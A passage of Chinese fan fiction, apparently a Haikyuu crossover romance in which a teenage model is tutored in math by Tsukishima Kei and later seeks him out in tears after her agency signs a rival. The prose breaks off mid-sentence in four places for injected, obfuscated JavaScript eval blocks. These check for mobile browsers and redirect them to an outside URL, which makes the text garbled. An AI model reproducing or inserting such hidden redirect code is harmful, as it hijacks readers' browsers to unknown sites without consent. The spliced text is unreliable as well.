作为她们三个中唯一的理科学神，村上由奈稍加思索：“哪有那么夸张，这次的题目是有点难啦，我也是花了点时间才写完压轴题的。” “你竟然还写完了压轴题！！！”星野杏发出咆哮。 北里悠花的内心也在咆哮，因为她压根就没看懂压轴题在说什么！ 为了掩人耳目，她只能掏出手机给月岛萤发消息。 Yuuka： 「刚刚的数学小测好难QAQ你都做完了吗？」 章鱼哥： 「做完了。」 Yuuka： 「你花了多久做完的？」 章鱼哥： 「三十分钟。」 很好，她也花了三十分钟发呆。 北里悠花无端有些生气，既是气自己是个对数学一窍不通的傻瓜、也气月岛萤是个聪明的学霸，于是她打字的动作都更用力了些。 Yuuka： 「我讨厌你！！！」 章鱼哥： 「？」 拿着手机的章鱼哥自然是对如此无名的怒火感到莫名其妙，不过月岛萤已经习惯北里悠花的间歇性抽风。如果说之前对方还会在聊天中稍加伪装，在明确表明心意过后北里悠花算是完全暴露本性、装都不装了。 似乎是太过笃定月岛萤不会真的生气，也不能拿她怎么样。那些生活中最真实的小情绪、推特和IG上无聊的梗图、学校里发生的琐事，北里悠花可以不厌其烦地发一堆过来。 她实在太有分享欲了。 在遇到北里悠花前月岛萤都不知道，原来世界上还有人的网络世界可以丰富成这样。 既要定时定点拍美照修图、分别上传到各个社交平台。又要拍视频剪视频更新Youtube，甚至周末也要留出来给工作。更别提私下还要维护粉丝关系，时时刻刻关注数据怎么样——这哪里还有多余的时间学习。 所以月岛萤并不奇怪北里悠花的成绩不好。 对方已经极力掩饰了，可上次期中考试的排名骗不了人。乌野虽说算不上什么升学率百分百的名校，可每年考上顶尖大学的也大有人在。 月岛萤还记得上次公布期中排名时、北里悠花鬼鬼祟祟站在人群最边缘朝榜单偷看的样子。不想被别人发现自己是个学渣，人却实在太多她怎么探头也看不到，于是反手一条LINE发过来对他自然地发号施令。 Yuuka： 「月岛君——帮我去看下排名好不好（对手指）」 最后还是月岛萤自己去看榜单时顺便帮她看了一眼，果然是“惨不忍睹”。从他的排名往下找了好几分钟，才看到北里悠花的大名。虽然不至于像排球部那两个白痴那样完蛋，可连中等都没排上。 在把这个消息告诉北里悠花后，她蔫了一整天。 * 数学小测的分数很快被发了下来。 北里悠花看着还没到总分一半的分数深深叹了口气，顿感人生无望。她一把将丢人的试卷藏进书包，暗自感叹要是考试和化妆一样简单就好了，她一定能无师自通。 这天放学北里悠花开始发奋图强，一回到家就连忙把妆卸了。时间紧迫，她没有去健身房、连最爱的综艺都没有看，拿出数学课本就开始恶补知识。所有头发被高高梳起成一个马尾辫，手机也调整成了静音模式，一副好学生的样子。 只可惜出师未捷身先死，她发现自己真的连例题都看不懂，一点都看不懂！书本上的概念为什么要如此定义？怎么判断这里一定要套公式？这个角的大小凭什么不能用量角器直接量？ 终于在埋头苦学一小时但毫无进展之后，北里悠花朝月岛萤发送了求助信息。 Yuuka： 「月岛老师，你现在有空嘛~训练结束了吧！」 月岛老师： 「怎么了？」 没错，北里悠花又修改了月岛萤的备注。 Yuuka： 「想请教你一些数学问题，关于这次小测的T-T」 「刚刚一个人看了好久数学书，可还是一点都不会……」 月岛萤并不是一个适合当老师的人。 他毒舌、讨厌麻烦，最重要的是讨厌笨蛋。他没有耐心像真的老师一样进行授课，也不知道为什么如此简单的知识点会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522837|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人不懂。上学期给日向和影山说了几道题就把他气得半死，他可没空再陪着这位艺人小姐耗。 Yuuka： 「教教我好不好（可怜）」 在他拒绝之前，北里悠花又发来了她常用的表情包。这个可怜的小兔子贴图和她实在长得非常相似，尤其是这个可怜的表情、让人能立马联想到她装作无辜时的样子。 月岛萤有些认命。 什么事情和北里悠花扯上关系总会变得无比复杂，他看着那个不断掉眼泪的表情包还是打下了简短的一句话。 月岛老师： 「哪里不会？」 收到回复的北里悠花立马将小测卷子翻出来，拍了张照发给月岛萤。 Yuuka： 「（照片）」 月岛萤看着那张崭新洁白的试卷，有一瞬间觉得自己大脑的褶皱都被抚平了。 ——他没想到北里悠花竟然真的是一点不会。如果到这种程度期中考试还能考那个名次，还真的算是值得庆祝了。 月岛老师： 「你认真的？」 「你高一真的有去上学？」 Yuuka： 「好过分，我确实不太擅长数学啦！」 这明显已经不是擅不擅长的问题了吧。在月岛萤看来北里悠花根本没有补习的必要，还不如从高一重新学起更快一点。 他叹了口气。 月岛老师： 「高一的课本还在吗？还在的话翻出来重新学。」 「不会的知识点可以问我。」 Yuuka： 「可我不知道哪些知识点重要哪些不重要，而且我一个人真的理解不了QAQ」 Yuuka： 「所以月岛老师，你能当面教我吗（可怜）」 「只要期末考试数学及格就行！」 月岛老师： 「放学训练、周末比赛，我没时间教你。」 Yuuka： 「午休怎么样？」 「那就这么说定啦，明天我会把高一课本带上哒~午休的时候在学校图书馆见（可爱）」 月岛老师： 「？」 到底谁和她说定了？ 北里悠花总是这么自说自话，每次他还没来得及拒绝对方就把他安排得明明白白了。好像他本人的意见根本不重要，只是个听命于她的随从。 月岛萤发现一切都不太对。 他看着屏幕里和北里悠花的聊天记录，往上翻了翻、发现都翻不到尽头。 自己连拒绝的权力都没有，永远在被北里悠花牵着鼻子走。更可怕的是他的大脑也默许了这种无耻行为的存在，不断为对方做着辩护。 而他所能做的唯一抵抗、竟然是把那个架子上的迷你版恐龙模型藏到其他恐龙后面去！ 北里悠花自然不知道月岛萤此时激烈的心理斗争。 她正在为请到一位靠谱的私人数学家教而沾沾自喜，更何况这个人还是自己的心动选手，简直是一举两得。从柜子里翻出可以算得上是整洁如新的高一数学课本装进书包，北里悠花哼着歌将台灯一关、收拾书桌。 今天的学习就到此结束，虽然什么都还没学到、但真是辛苦啦！ 16. 16. 次日中午。 以“最近要保持身材就不吃午饭了”为理由，北里悠花婉拒了两位好友的便当邀请。 她今天带的装备很齐全——数学书、测验卷子、错题分析本、笔记，还有各色的水笔和荧光笔。总之是差生文具多，以至于将这些东西扛到图书馆时都有些累得够呛。 月岛萤并非一个高食欲的人，在简单吃过午饭来到图书馆后、他看到北里悠花已经假模假样地开始学习了。 他有理由怀疑对方早就进化掉了“吃饭”这件事，认识到现在几乎没怎么见过北里悠花吃正餐的样子，就算在学校也基本上用蔬菜水果代替。最近更是变本加厉，今天应该连那些少得可怜的减脂餐都还没吃。 这个点图书馆空无一人，北里悠花找了个角落的位置。 她今天的妆比以往更加淡一些、连美瞳都没有戴。月岛萤想她应该有些近视，所以鼻梁上还架了一副黑色的粗框眼镜。圆圆的有些像阿拉蕾会戴的款式，但形状又没有那么夸张。 一见到月岛萤过来，北里悠花立刻笑得眉眼弯弯。 她将自己的声音压低，然后指了指自己身边的座位：“月岛老师，请坐这里！” 月岛萤拉开椅子坐到她旁边，这个距离实在有些过近了。 北里悠花能清楚看到月岛萤线条流畅的侧脸，他的鼻子很挺、眉骨也非常优越。她很喜欢他的手，手指修长而充满力量，每一个指甲都被精心打理。 网上说当你真正对一个人有好感时，会产生一种生理性喜欢。 北里悠花现在就是如此，她渴望更靠近一点、渴望触碰、也渴望得到反馈。少女们对待恋爱总是不那么理智，北里悠花则更加随心所欲。 身边月岛萤翻了下高一的数学书，就简明扼要地开始讲解最基础的知识点。但她却完全没有听进去，满脑子只想着要不要逗一下月岛萤或者和他牵一下手。 月岛萤的手是热的还是冷的呢？ 如果牵一下手、他一定会生气的吧。 还是不要了，万一小气的月岛萤恼羞成怒再也不理她了怎么办。 北里悠花的思绪实在过于发散，以至于都没有注意到月岛萤早就停止说明、静静和她对视了。 “你究竟有认真在听吗？”月岛萤将手中的黑色水笔灵巧地转了圈、轻轻点了点课本。 北里悠花乖巧点头：“当然有啦。” “那我刚刚讲了什么？” “函数的增减性？” “是几何图形。” “……噢。” “如果你不是真的来学习，我想我没有必要陪你浪费时间。”月岛萤将书本一合、站起身准备离开。 北里悠花见大事不妙，直接一把拉住了月岛萤的手。 月岛萤的手果然跟他的人一样，并不温暖、凉凉的。 中午的阳光很强，透过图书馆暖黄的窗帘洒在木质地板上。待的角落没有窗户，竟然照射不到一点光亮、隐蔽到了极点。图书馆的值班老师正在昏昏欲睡，除此之外再也没有除他们以外的第四个人出现。 几乎是牵手的动作。 “我错了月岛老师，可以再给我一个机会吗？这次我一定会好好听的！”北里悠花没有放开他的手，并用清澈而恳求的眼神看着月岛萤。 月岛萤的大脑短暂宕机了几秒。 北里悠花的手很小，美甲又换了新款式、是低调的粉色珠光。风纪委员好像从来都对这位艺人小姐以特殊优待，连教导主任都睁一只眼闭一只眼。 他再次掌握主动权：“手放开，好好听讲。” “好吧。”北里悠花悻悻地松开手，拿起桌上的水笔。 这下她总算没有想东想西开始认真学习了。 月岛萤不愧为优等生。讲起知识点来思路清晰，那些复杂的公式和例题在他看来都不需要太费力、就可以轻松解出。 偶尔北里悠花问出的问题实在太蠢，比如月岛萤根本想不通为什么有人会直接用量角器测量得出答案？ “你有没有想过。”他干脆拿出了北里悠花的量角器放到例题的图形上，“如果直接测量就能解出，那这道题应该放在幼稚园。” 不理解但尊重。 “知道啦知道啦。”她嘴上敷衍着，无精打采地耷拉着一张脸。 该学习的时候还是得学习，否则暑假留下来补课的话她连走秀都不能去了，这可是白白把钱送给别人。 没了量角器的帮助，北里悠花花了好长时间才把那串公式印在脑子里，然后艰涩地开始尝试解题。 北里悠花高一的时候在东京也没好好学数学，每一页课本的角落里都能找到她简笔涂鸦的痕迹。噘嘴的小丸子、生气的小丸子，偶尔还会冒出两三个凯蒂猫和布丁狗。 而现在她在经过一场酣畅淋漓的学习过后，只能老实在填空处写上正确答案。 “这个答案对嘛？”她问月岛萤，眼神里闪烁着求知的光芒。 “真是了不起，竟然能解出这道高一最基础的例题。” 好歹是算对了。 月岛萤的回答虽然有几分阴阳怪气和挖苦，但北里悠花完全没有放在心上，反而因为终于理解了题目的逻辑而心情舒畅——不知道的还以为这是什么世界难题。 “以后每天午休都给我补课好不好？”北里悠花托着下巴，伸出一根手指戳了戳月岛萤。 “看情况。” 月岛萤说是看情况，那就是可以的意思。 经过那么多天的线上线下相处，北里悠花已经基本掌握了月岛萤的使用手册。嘴上不饶人又如何？行动还是会出卖他。 每天的聊天、表白、牵手、以及她得寸进尺的无理要求，月岛萤都照单全收。不知不觉间他们已经变成了亲密的朋友，知晓彼此的一切。北里悠花有时候甚至会任性地想，月岛萤就像是她的托底一样，能无条件选择站在她这一边。 尽管他们还没在一起。 在接近幸福的时候才是最幸福，暧昧朦胧得如一场梦境、她都不忍心戳破。 她和月岛萤现在只差决定性的一击，就能让这位审判者的防线溃不成军、最后再心甘情愿地成为她的所有。 那会是什么呢？ 少女无助时脆弱的眼泪？还是低谷迷茫时的鼓励拥抱？ 北里悠花给自己写好了许多剧本准备上演，当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522838|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然眼下，她只要好好扮演一个等待高智商男神拯救的无知女生即可。 * 午休很快结束。 学了一整个中午的北里悠花觉得自己的精神世界得到了升华，当看到下午第一节课是数学课时都觉得亲切了不少。 也免不了被星野杏盘问一番。 星野杏和班上的佐佐木同学都自称为掌握着整个乌野高校第一手八卦的情报贩子，这个称呼着实过于中二，每次被人提起北里悠花都忍不住替他们尴尬。但星野杏显然非常满意，并在不断持续为八卦事业的发展添砖加瓦。 “悠花，老实交代！中午是不是去偷偷约会了？” 不得不说，某些时候星野杏十分敏锐。 “是隔壁班的那个小帅哥伊藤？还是高年级的那个宫本学长？” 可惜她的敏锐用错了地方。见北里悠花的面上依旧风平浪静，星野杏震惊道： “还是说悠花你喜欢奶狗类型的？不会是那个一年级的小泽吧！” 星野杏很快又进行了自我否定：“也不对啊，悠花你还有黄濑君呢。你们吵架了吧，刚刚中午是不是去给他打电话了？我看你前几天数学小测完心情就不太好，是不是因为这件事影响你了？” “……倒也不是这个原因。还有都说了我和黄濑君只是普通同事。” 问题简直密集到她没办法一口气答完，北里悠花真怕对方一下子喘不上气来。而且，她心情不好只是因为分数实在太低了没脸见人…… 身为副班长的村上杏奈更为冷静理智，对待恋爱是坚定的纯爱战士。此时她也加入谈话，誓死守护cp粉的尊严：“要我说那些男的都没有黄濑君帅。” “我替他谢谢你们。” 星野杏两手一摊，又凑到北里悠花面前：“所以，悠花你的理想型到底是什么样的呀？” 北里悠花假装不经意朝斜后方看了眼。 月岛萤坐在位子上，没有戴耳机。她敢肯定、她们说的话他能听得很清楚。 于是北里悠花一字一句地、故意说给他听。 “我的理想型吗……我喜欢高一点的欸，188左右吧，再高一点也可以。” 月岛萤的身高就很好。 “肤色最好是冷白皮，头发要是金色的。” 还要戴黑框眼镜。 “喜欢运动，能是运动社团的话就太好了！” 是打排球的。 “学习要好一点，尤其是理科。” 愿意教她数学、给她补课。 “对别人可以很冷漠，但对我一定要有耐心。” 生气也说不出一句重话。 “最重要的是，就算我做错了事情、也要无条件站在我这边，永远把我放在第一位。” 因为像她这样恶劣的人，需要一个赶不走的爱人。 北里悠花交出的理想型答卷实在太过具体。 白皮、金发、运动社团、188，几乎每一条都和黄濑凉太完美匹配。村上由奈和星野杏对视了一眼，脸上的八卦之意已经藏不住了。 而她们没想到的是，此时坐在身后的月岛萤也符合上面列举出的每一条要求。 17. 17. “不要分神。” “看象限，这里又写错符号了。” “你能解释一下为什么根号下会出现负数吗？” 月岛萤从来没有觉得自己那么有耐心过。 这一周每天中午都在给北里悠花恶补数学，进度终于艰难地朝前迈进了一小步。晚上回家还要充当免费家庭教师，聊天框内全是她甩来的不会解的题目。 好在北里悠花不是个无可救药的笨蛋，否则他也要跟着崩溃了。 偶尔夜深人静之时，月岛萤在发过去解题思路后会躺在床上问自己：究竟为什么要这样做？ 北里悠花就是一个巨大的麻烦，而这个大麻烦已经缠着他很久了、甚至有越绑越紧的趋势。他的午休时光明明可以悠闲度过，现在却要为一个和他毫不相关的人费心费神。 好比现在。 “北里悠花，不要在书上乱涂乱画！” 看着草稿纸上又一个月岛萤版小丸子诞生，他终于忍无可忍直接叫了对方的姓名。 北里悠花正在用荧光笔上色的手一顿，不情愿地“哦”了一声。她又花了五秒钟反应，随后皱起了眉双手叉腰地开始抱怨他： “月岛萤，不许对我那么凶！” 她的语气非常理直气壮，以至于月岛萤都有一瞬间怀疑真的是自己太凶了。 而他能感知到，这十几年来亲手构筑的世界观正在一点点崩塌。他规律的日常在被北里悠花打破，他的底线也一步步被让出。 这并不是一个好兆头，可他束手无策。 “不要无理取闹。” 月岛萤将笔塞回到她手里。 北里悠花笑嘻嘻地接过笔，问他：“月岛君是不是觉得我很麻烦？” 月岛萤看着她，表情明显就是“你也知道？”。 但她自顾自地又说下去：“可我就是很麻烦，而且每天都这么麻烦。” 她今天将头发盘成了一个丸子，只有耳边几缕碎发垂下。北里悠花实在太过自私，从心里已经将月岛萤认定为她的所有物，并且毫不关心对方的想法如何。 她可以热烈地将喜欢说出口、表现得全天下我只认定你一个人。但这样的好感不过流于形式，马上就会消散。 月岛萤是最清楚的。 “欸对了，下周末是不是IH的预选赛决赛？”北里悠花的思维十分跳脱。 月岛萤挑了挑眉：“是，你要来？” 她摇了摇头，心想我才不来呢就是找个话题随便问问：“我有工作哦，而且我相信你肯定可以哒~一定能轻松拿下比赛！” “每场比赛都不轻松。” “这样哦。” 北里悠花没有再问下去。 在她眼里所有球类运动都一样，全都是一堆人抢一颗球。比起这些，还是充满香味和不同颜色的化妆品更讨人喜欢。 又解出一题。 她伸了个懒腰，趁着月岛萤检查她解题过程的时候刷了会儿手机。 月岛萤真的长得很帅。 北里悠花觉得要是他肯放下那清高的身段，也一定能成为卖座的艺人。他并非那种浓颜系的长相，但身上的气质过于吸引人。恰巧介于少年和成熟男人之间的时间点，连说话时滚动的喉结都充满性感。 于是她点开相机，将手机镜头对准月岛萤。 “咔擦。” 是一张完美的女友视角照片。照片中的月岛萤赫然是在图书馆约会时检查女友作业的学神形象，只留下一张冷漠的侧脸。 听到拍照声音，月岛萤抬眼看她、面无表情：“删掉。” “不要，而且我才是艺人好吗！不会发出去的。” “你侵犯了我的肖像权。” 北里悠花懒得听月岛萤的反对意见，干脆调到了前置模式、然后举起手机对准他们两个人。月岛萤能看到屏幕里的北里悠花笑颜灿烂，还比了个傻乎乎的剪刀手。而他的脸在她后面，显得有些过于严肃。 “你都不笑一下。” “太蠢了，而且现在是学习时间。” “那我刚刚做对了吗？” “……做对了。” “那你都不夸我聪明。” 说话间北里悠花已经按下拍摄键。 大概是被她的厚脸皮所打败，合照里的月岛萤表情也竟有一丝柔和。 “我把照片发你哦~” 北里悠花放大看了看自己完美的脸蛋、满意地点点头，随后打开LINE直接发送给了月岛萤。 * 月岛萤今天训练完，发现北里悠花更新了IG。 最近她有些忙碌，无论是视频还是照片的上传频率都低了许多。社交媒体上的北里悠花跟他眼中的北里悠花完全不同，过着五光十色的高精力生活。每一张照片都精心找了角度，自拍也被控制在斜上方45度角、据她所说这样最显瘦。 月岛萤平时不怎么用IG，还是被北里悠花逼着点上了关注。奇怪的是她明明已经有了十五万粉丝，却还是在看到他点击关注的时候笑得很开心。 推荐关注的账户会冒出来黄濑凉太的头像，某天他看着有些碍眼于是选择了拉黑。 今天北里悠花更新的是一组日常。 kitasatoyuuka： 「已经快到夏天啦（太阳）最近都有在好好学习中，更新一些生活照~」 当然、放在首图的还是她精修过的自拍。月岛萤记不清是上周几了，那天她戴着这副阿拉蕾眼镜。 往后翻是几张她在周末工作时拍的花絮照片，各种拍摄机器中间、她朝镜头微微前倾了身子、双手提起裙摆，看样子是在展示品牌的新品服装。 唯独有一张照片格格不入。 照片的背景正是这几天过于熟悉的图书馆，桌面上散落着北里悠花的学习用品。数学课本被摊开，而最角落的地方、露出了月岛萤的手腕。 虽然没有任何证据，但月岛萤认为这是北里悠花故意放上去的。 鬼使神差一般，他点下了一个喜欢。 北里悠花不会注意到。 * KANSAI COLLECTION的时间在期末考试后的第二个周末。 北里悠花被高压的学习和生活压得有些喘不过气，对她来说每天午休的补习也算是放松心情了。 这个行业从来不缺年轻貌美的人，更新换代的速度太快、她随时都有被淘汰的风险。北里悠花深知，她根本没有什么自满的资本。 残酷的事务所从不考虑模特们的死活，倒不如说、有争议才有看点。 于是今天放学，日向小姐约她在北里悠花家楼下的咖啡店里见面。 北里悠花预感到不会有什么好事发生，毕竟日向小姐还专门从东京赶来、说这是考虑艺人心情的人性化举措，听到这话时北里悠花差点没笑出来。 时间接近晚上八点，咖啡馆基本没什么人。日向小姐穿着一身深灰色的职业套装，面前的桌上还放了一杯给她点的无糖苏打水。 她涂着豆沙色的嘴唇轻轻开合，就对北里悠花无情地宣布了一个消息： “悠花，最近我手下新签了一个模特。之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522839|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我会带你们三个人，资源平等、这点你不用担心，我会保证你们该有的曝光度。” ——日向小姐手下又新签了一个新人模特。 ——名字叫夏川西奈。 同样是高中女生、年纪比北里悠花小一岁。跟她的名字一样，长相是无可挑剔的娃娃脸，笑起来会露出两个梨涡、像一颗饱满的水果。 就读于东京知名的私立贵族高中冰帝学园，听说那里的学生都是名门之后、前几年迹部财阀注资之后知名度更是在海外范围内直线扩大。 人设完全是动漫女主角，还是能立马加入akb的那种。 北里悠花看着日向小姐递来的新人资料，连指尖都在发冷。 “当然、我也理解你会有情绪。但是在这个圈子，竞争就是必须的。” 她平静地注视着北里悠花的眼睛，看上去就像在观察一件明码标价的商品。 北里悠花早就知道日向小姐的处事方式，所以她不奇怪自己被这样对待。她有些愤怒、但她没有资格感到愤怒。 北里悠花强撑着微笑，表现得乖巧懂事。 她将资料放到桌上：“我听事务所的安排。” 日向小姐点了点头，带了北里悠花那么多年、她当然看得出北里悠花此时是在强颜欢笑。 而她依旧不认为这是件什么大事。一个被工作缠身的成年职场女性也没有太多闲暇去顾及高中生的感受，谁能给事务所产生效益、她就会选择谁。 北里悠花这些年的成绩很不错。 高中生选美冠军、又成了知名jk杂志的模特、IG和YouTube都经营得像模像样，可以说是同年龄段里表现最优异的艺人。 只是…… 日向小姐喝了一口冰拿铁，看着面前那张稚嫩的面孔。 光靠美丽是走不远的。 北里悠花还没有找到属于自己的武器，她确实野心勃勃、可事务所也不能把所有赌注全都压在一个人的身上。 更何况，她还是一颗随时都有可能爆炸的定时炸弹。一想到北里悠花家里的那些破事日向小姐就忍不住头疼，比起未来紧急找公关公司压制舆情，还不如早早就做好两手准备。 如此一来、就算北里悠花真的被曝出是妈妈桑的女儿，还有替代品能随时补上空缺。 现在事务所给北里悠花打造的人设实在过于完美无缺了，大众都喜欢她的外壳、却不知道内里也只是一个空心假人罢了。 日向小姐继续宣布：“下个月KANSAI COLLECTION的走秀，主办方需要你走两轮。一轮是和黄濑一起，主题是校园情侣。你们合作过很多次，我想应该没什么问题。” “第二轮是和西奈一起，品牌会借给你们衣服。” 和新签的夏川西奈一起吗？ 还要一起穿着品牌赞助的服装走秀，这个资源明明之前是她一个人的。 资源平等？ 北里悠花在心中冷笑，明明一开始就是不公平的。 她从来都是被通知的那一方，事务所哪里给过她选择权。现在之所以签约新人，估计也是做好了随时抛弃她的准备吧。 那又有什么关系，她不会成为自怨自艾的可怜虫，只能摇着尾巴乞求一点工作。 北里悠花并不讨厌这位夏川西奈，对方也只是个被事务所玩弄于掌心的高中女生罢了。 命运所有的馈赠早已明码标价，美貌也好、名利也好，获得了就要有所付出。 “我知道了日向小姐。” “我会好好准备的，一定不让你们失望。” 18. 18. 北里悠花即便在日向小姐面前也一直表现得毫无攻击性。 她可以扮演一个听话的女高中生，对事务所和经纪人的指令言听计从，没有一点自己的想法。 她也当然知道日向小姐早就看穿了她的小白花套路，可又有谁能叫醒一个装睡的人呢？ 日向小姐见状不再多言，拿起身边的包就起身离开。 毕竟还没到需要撕破脸皮的地步。 现阶段事务所需要北里悠花带来的人气、北里悠花也需要在圈子里站稳脚跟。 夜色浸染整座城市。 北里悠花呆坐在咖啡店里，看着面前的杯子里的冰块渐渐化完。无糖苏打水实在很难喝，碳酸气泡挤压她的喉咙，让她说不出一句话来。 心情有些烦闷、连舌尖都在发苦。 北里悠花急需一些快碳填满自己的胃和不愿继续思考的大脑，最好晕碳之后能睡一个香甜的觉——可她连吃这些的权力都没有。 拿起玻璃杯，北里悠花将苏打水一饮而尽。她能感觉到连肚子里都在冒泡翻腾，又长长地深吸了一口气。 没关系、无所谓，没人站在她这一边也可以。 她会自己处理好一切。 口袋里放着的手机突然震动了一下。 北里悠花麻木地掏出手机，看着屏幕里发来的信息。 月岛老师： 「明天中午临时加训，补习取消一次。」 所以说月岛萤好讨厌啊，老是在自己最需要人陪的时候突然出现。明明刚才做了那么多的心理建设，明明已经决定要做一个坚强的人了，明明一个人也没关系的。 好讨厌他。 也好喜欢他。 有一点想哭。 Yuuka： 「好哦。」 「你在干嘛呀，我现在好饿呀，好想吃大餐T.T」 月岛老师： 「刚洗完澡。」 「在给你发消息。」 北里悠花想，月岛萤真是一个坏人。 隔着屏幕也能让她那么心动。 她知道月岛萤只是如实回复了消息，或许根本没意识到自己发出的话有多暧昧、因为对方就是个彻头彻尾的大直男。可她还是忍不住觉得心软，觉得有在被人好好关心着、注视着。 想要更贪婪一点，如果时间能快进到他们在一起的那一天就好了，一定会比现在的心情还要幸福。 打了一行字又按了删除，如是重复了好多遍。 而北里悠花现在的心情只有一个，是我好想见你。 就算每天都在见面、每天都在聊天，可是在最失落的时候还是想见他。 于是对话框里删删减减，只发出去一句。 Yuuka： 「我很想你。」 我很想你。 我知道有些突兀，但还是想把这份心情传达给你。 月岛老师： 「嗯。」 北里悠花像是得到了某种应允，又发出一句。 Yuuka： 「可以和你打电话吗？」 她依旧扮演了任性的小孩，在没有得到月岛萤的答复之前就拨通了他的电话。她不想看到拒绝的回复，也敢肯定月岛萤一定会接她的电话。 嘟——嘟——嘟—— 十秒、二十秒…… 果不其然，月岛萤在经过漫长的纠结之后还是接了。 这是他们第一次打电话。 北里悠花有一种奇妙的感觉，是跟线上聊天不一样的、因为听到声音而更加满足。明明感觉近在咫尺，却又不可触碰。 她的喉咙有些干涩，率先打破沉默：“晚上好呀，月岛君。” “嗯。” 他的话还是只有一个语气词。 北里悠花有些语无伦次，她很少这样：“其实也没什么啦，就是突然想听一下你的声音。我现在肚子好饿呀，可是却不能大吃大喝，晚上就喝了一杯难喝的苏打水，你敢信吗还是无糖的！还有今天有一些冷欸，感觉都不像快到夏天的样子……” 她说得前言不搭后语，都是一些琐碎的话。想到什么不经思考就脱口而出，而月岛萤也在电话的另一头默默听着。直到北里悠花终于把想说的全都说完、口干舌燥再也讲不出一句话时，他开口问她： “发生什么事了吗？” 发生什么事了。 这是很普通的一句话。 普通到在日常生活里随处可见，每个人或多或少都会收到这样的关心。 可北里悠花很少收到——她总是把自己伪装得太无坚不摧。在朋友面前她是顺风顺水的女艺人，到现在也没有百分百坦露过真心；在北里女士面前她假装是个成熟的大人，为了不让她担心将所有脆弱都藏在肚子里；在同事面前更不用提，她一直戴着一张虚伪的艺人面具。 不知不觉她就把自己活成了一座孤岛，就算周围开满了鲜花、也还是无人问津。她的想法总憋在心里，从不吐露半分。 但是遇到月岛萤之后，北里悠花又逐渐变成了话痨。有时候她都不知道自己的话怎么可以那么多，就像是要把前几年没人可以倾听的话都跟月岛萤说完。其实她不是一个爱分享日常的人，其实她也只是想要一个人能够理解她。 但月岛萤却能注意到她的不对劲。 他说出这句话的一瞬间，北里悠花没理由地感到很委屈。 大脑都在发涨、眼睛通红。 真是太没出息太丢脸了。 所以只要抓住月岛萤就好了——这个人就是她的最佳选择。即便用些心机也不要紧，即便眼泪不全是因为喜欢也无妨，她只是需要一个人在她身边。 只要能在此时打动月岛萤就行。 于是北里悠花声音里带着哭腔，眼泪恰到好处地流下脸颊。 “……我可以来找你吗？我好想见你呀。” 月岛萤没有回复她。 北里悠花听着他的呼吸声，又接着说：“对不起，我知道我打扰你了。我只是实在不知道除了你以外，能去找谁了。” 她哽咽着说出这一番话，着实有点惺惺作态了。 但北里悠花唯独在这一件事上很有信心，那就是月岛萤绝对会答应。 如她所料。 她听见电话里的月岛萤叹了一口气，然后问她： “你在哪里？我来找你。” 北里悠花知道自己赌赢了。 * 他们约定在一家距离适中的二十四小时便利店见面。 北里悠花率先到达，她没忍住食物的诱惑给自己点了三串近乎于零卡的魔芋丝，漂浮在热腾腾的关东煮汤汁上、总算能填饱一些肚子。手里关东煮纸杯很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522840|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温暖，即便在开着冷空调的室内也给人一种回到冬天的感觉。 当便利店机械的门铃音乐响起时，她就是知道月岛萤来了。抬头看见他穿着一件简单的白色T恤、脖子上挂着索尼耳机，整个人都十分清爽，显然刚刚才洗完澡。 似乎是早就注意到了店里的北里悠花，他直接走来并坐到了她身旁的空位上。 顿时、莫大的委屈从北里悠花的心中涌出。 她觉得现在自己的样子一定丑得不行，但鼻腔好酸涩、大脑好疲惫、心情好糟糕，所以才在看到月岛萤那的一刹那就忍不住开始掉眼泪。 “月岛君……” 她嘴里的话含糊不清、眼泪啪嗒啪嗒落在衣服上。 月岛萤看着北里悠花的样子，并没有询问什么，只是默默拿出口袋里的纸巾、擦掉她眼角的泪水： “你是笨蛋吗？” 他说完这句话后，北里悠花哭得更凶了。 现在的北里悠花离她想象中希望塑造的、楚楚可怜的模样相差甚远。她还是太高估了自己的忍耐力，也忘记了人类生存于这个世界上、就需要被爱。 